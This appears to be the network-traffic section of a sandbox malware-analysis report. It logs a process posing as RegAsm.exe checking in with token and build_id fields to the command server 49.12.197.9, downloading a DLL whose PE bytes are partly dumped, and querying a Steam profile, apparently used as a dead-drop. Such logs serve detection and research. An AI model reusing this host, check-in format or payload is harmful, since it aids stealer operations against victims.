2024-10-02 15:17:41 UTC	5961	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 61 65 65 64 31 61 39 63 38 38 61 37 66 65 65 33 62 30 31 62 33 61 36 62 39 64 33 37 62 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="token"4caeed1a9c88a7fee3b01b3a6b9d37b0------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------AAFIDGCFHIEHJJJJECAKCont
2024-10-02 15:17:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:41 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	65300	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:42 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:42 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:42 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:17:42 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:17:42 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-02 15:17:42 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-02 15:17:42 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-10-02 15:17:42 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-10-02 15:17:42 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-02 15:17:42 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-02 15:17:43 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-02 15:17:43 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-02 15:17:43 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-10-02 15:17:43 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-10-02 15:17:44 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	65301	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:45 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCGHDHIDHCBGCBGCAEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:45 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 61 65 65 64 31 61 39 63 38 38 61 37 66 65 65 33 62 30 31 62 33 61 36 62 39 64 33 37 62 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------DHCGHDHIDHCBGCBGCAEBContent-Disposition: form-data; name="token"4caeed1a9c88a7fee3b01b3a6b9d37b0------DHCGHDHIDHCBGCBGCAEBContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------DHCGHDHIDHCBGCBGCAEBCont
2024-10-02 15:17:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:47 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	65303	104.102.49.254	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:51 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:52 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 15:17:52 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=a4f9bcdf64df8383e6753eab; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 15:17:52 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 15:17:52 UTC	16384	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-02 15:17:52 UTC	3768	IN	Data Raw: 75 6d 6d 61 72 79 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 Data Ascii: ummary"></div><div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><scr
2024-10-02 15:17:52 UTC	213	IN	Data Raw: 63 6b 3d 22 52 65 73 70 6f 6e 73 69 76 65 5f 52 65 71 75 65 73 74 4d 6f 62 69 6c 65 56 69 65 77 28 29 22 3e 0d 0a 09 09 09 09 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ck="Responsive_RequestMobileView()"><span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	65304	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:53 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
